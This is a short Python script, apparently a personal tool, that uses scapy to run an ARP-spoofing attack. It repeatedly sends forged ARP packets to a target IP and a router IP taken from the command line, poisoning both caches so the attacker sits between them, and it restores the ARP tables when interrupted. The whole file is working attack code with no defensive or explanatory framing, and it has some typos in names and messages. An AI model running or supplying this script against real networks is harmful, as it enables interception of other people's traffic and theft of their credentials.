from scapy.ansmachine import send
from scapy.layers.l2 import ARP, getmacbyip
import sys


def arp_spoof(dest_ip: str, dest_mac: str, source_ip: str):
    packet = ARP(op="who-has", psrc=source_ip,
            hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)

def arp_resore(dest_ip: str, dest_mac: str, source_ip: str, source_mac: str):
    packet = ARP(op="is-at", hwsrc=source_mac,
            psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)

    send(packet, verbose=False)


def main():
    target_ip = sys.argv[1]
    router_ip = sys.argv[2]

    target_mac = getmacbyip(target_ip)
    router_mac = getmacbyip(router_ip)

    try:
        print("Sending spoofed APR packet")
        while True:
            arp_spoof(target_ip, target_mac, router_ip)
            arp_spoof(router_ip, router_mac, target_ip)

    except KeyboardInterrupt:
        print("Restoring ARP tables")
        arp_resore(router_ip, router_mac, target_ip, target_mac)
        arp_resore(target_ip, target_mac, router_ip, router_mac)

if __name__ == "__main__":
    main()
